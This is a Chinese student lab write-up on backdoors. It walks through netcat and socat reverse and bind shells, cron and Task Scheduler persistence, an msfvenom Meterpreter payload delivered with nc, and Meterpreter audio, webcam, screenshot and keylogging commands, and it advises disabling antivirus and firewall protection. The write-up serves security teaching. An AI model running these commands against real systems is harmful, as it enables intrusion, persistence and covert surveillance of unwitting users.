20165306 Exp2 后门原理与实践
20165306 Exp2 后门原理与实践
实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载的软件有后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:设置为开机自启动
Linux:将木马设为定时启动
(3)Meterpreter有哪些给你映像深刻的功能?
竟然可以获取目标主机音频、摄像头、击键记录等内容
(4)如何发现自己有系统有没有被安装后门?
安装专门的杀毒软件,实时防护,并定期检测电脑安全情况
一、后门概念
后门就是不经过正常认证流程而访问系统的通道。
相对狭义一点的后门的概念:后门特指潜伏于操作系统中专门做后门的一个程序,“坏人”可以连接这个程序,远程执行各种指令,概念和木马有重叠。
二、常用后门工具
关于netcat
又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
(一)Win获得Linux Shell
1.在Windows下使用ipconfig查看本机IP为192.168.199.175
2.使用ncat.exe程序监听本机的5306端口ncat.exe -l -p 5306

3.在Kali环境下,安装ncat,使用nc指令的-e选项反向连接Windows主机的5306端口
nc 192.168.199.175 5306 -e /bin/sh
4.成功获得Kali的shell,可运行任何指令,如ls

(二)Linux获得Windows Shell
1.在Kali环境中使用ifconfig查看IP为192.168.95.136
2.使用nc指令监听5306端口nc -l -p 5306

3.在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5306端口
ncat.exe -e cmd.exe 192.168.95.136 5306
4.Kali下可以看到Windows的命令提示

(三)使用nc传输数据
1.Windows下监听5306端口ncat.exe -l 5306
2.Kali下连接到Windows的5306端口ncat 192.168.199.175 5306
3.建立连接之后,在Kali中输入数据,按下回车,Windows中就可以显示传输的数据了

三、Meterpreter
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。
一个平台能生成后门程序。这个平台把后门的基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),
编码模式,
运行平台,
以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。接下来学习如何使用msfenom生成后门可执行文件,要生成的这个后门程序是Meterpreter。
参数说明:
-p使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode-x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中-e使用的编码器,用于对shellcode变形,为了免杀-i编码器的迭代次数。如上即使用该编码器编码5次-bbadchar是payload中需要去除的字符LHOST是反弹回连的IPLPORT是回连的端口-f生成文件的类型>输出到哪个文件
(一)使用netcat获取主机操作Shell,cron启动
1.在Windows系统下,监听5306端口nc -l -p 5306
2.Kali下用crontab -e指令编辑一条定时任务,选择编辑器3

3.按i进入插入模式,在最后一行添加52 * * * * /bin/netcat 172.168.199.175 5306 -e /bin/sh,意思是在每个小时的第52分钟反向连接Windows主机的5306端口

4.当时间到了12:52时,此时已经获得了Kali的shell,可以在Windows下输入指令ls

(二)使用socat获取主机操作Shell, 任务计划启动
socat
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address代表其中的一个方向。所谓流,代表数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实验步骤
1.搜索计算机管理→ 任务计划程序 → 创建任务
→常规→任务名称:socat_5306

→触发器→新建→开始任务选择工作站锁定时→确定

→操作→程序或脚本点击浏览→选择socat.exe的路径→添加参数填写tcp-listen:5306 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口5306,同时把cmd.exe的stderr重定向到stdout上→确定

2.创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务显示正在运行

3.在Kali下输入socat - tcp:192.168.199.175:5306,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5306端口,此时可以发现已经成功获得了一个cmd shell

(三)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.Kali下输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.136 LPORT=5306 -f exe > 20165306_backdoor.exe生成后门程序
- 注:这里的IP地址为控制端IP,即Kali的IP

2.Windows下输入ncat.exe -lv 5306 > 20165306_backdoor.exe,通过nc指令将生成的后门程序传送到Windows主机上

3.Kali下输入nc 192.168.199.175 5306 < 20165306_backdoor.exe
- 注:这里的IP地址为被控主机IP,即Windows的IP

Windows显示连接成功
4.Kali下使用msfconsole指令进入msf控制台

5.使用监听模块,设置payload,设置反弹回连的IP和端口
- 注:set LHOST用的是Kali的IP,和生成后门程序时指定的IP相同

设置完成后,执行监听

6.运行Windows下的后门程序20165306_backdoor.exe

7.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1.使用record_mic指令可以截获一段音频

2.先打开Windows相机功能,Kali下使用webcam_snap指令可以使用摄像头进行拍照

3.使用screenshot指令可以进行截屏

4.使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

四、遇到的问题
1.socat任务创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,发现之前创建的任务显示准备就绪,而不是正在运行

解决:右击→运行
2.使用MSF meterpreter生成可执行文件时IP地址输错

解决:控制端和被控主机不要弄混,控制端--Kali,被控主机--Windows
3.运行Windows下的后门程序20165306_backdoor.exe时显示拒绝访问

解决:关闭“病毒和威胁防护”和“防火墙和网络保护”

20165306 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
随机推荐
- 在win7上跑基于任少卿作者代码修改的RPN+BF实验
1.前言 之前在win10上成功的跑起来faster-rcnn的实验,并且跑了一下CaltechPedestrian的数据集,但是效果一直不理想,折腾了好久也没弄清楚到底原因出在哪里,直到读了Is F ...
- docker+kibana+filebeat的安装
安装filebeat服务(在需要收集日志的主机安装filebeat) 下载和安装key文件 rpm --import https://packages.elastic.co/GPG-KEY-elast ...
- 动态代理处理service
/* 动态代理处理service * 1.动态代理的核心是切面编程,去除重复代码: * 2.通过反射+注解可以灵活的获取传入对象内容: * 3.通过try+catch将多个操作包裹,实现事物的原子性: ...
- 2019.04.23 Scrapy框架
1.环境搭建 2.选择需要的.whl文件下载,一般选择最后的,感觉意思是最近更新的包,以下是.whl文件下载链接地址: http://www.lfd.uci.edu/~gohlke/pythonlib ...
- 本地Linux备份服务器[Client]定期备份云服务器[Server]上的文件(下)
https://www.cnblogs.com/kevingrace/p/5972563.html Client上使用rsync命令查看服务器上文件列表rsync --list-only -e &qu ...
- Oracle 11g R2性能优化 tkprof
另一篇博文总结了关于SQL TRACE工具的使用方式,但是产生的trace文件格式阅读起来并不是十分友好,为了更好的分析trace文件,Oracle也自带了一个格式化工具tkprof.tkprof工具 ...
- 279. Perfect Squares(动态规划)
Given a positive integer n, find the least number of perfect square numbers (for example, 1, 4, 9, 1 ...
- P3974 [TJOI2015]组合数学
题目描述 为了提高智商,ZJY开始学习组合数学.某一天她解决了这样一个问题:给一个网格图,其中某些格子有财宝.每次从左上角出发,只能往右或下走.问至少要走几次才可能把财宝全捡完. 但是她还不知足,想到 ...
- drf 多表
https://www.django-rest-framework.org/ 官方站 https://www.django-rest-framework.org/tutorial/quickstar ...
- [dart学习]第三篇:dart变量介绍 (二)
本篇继续介绍dart变量类型,可参考前文:第二篇:dart变量介绍 (一) (一)final和const类型 如果你不打算修改一个变量的值,那么就把它定义为final或const类型.其中:final ...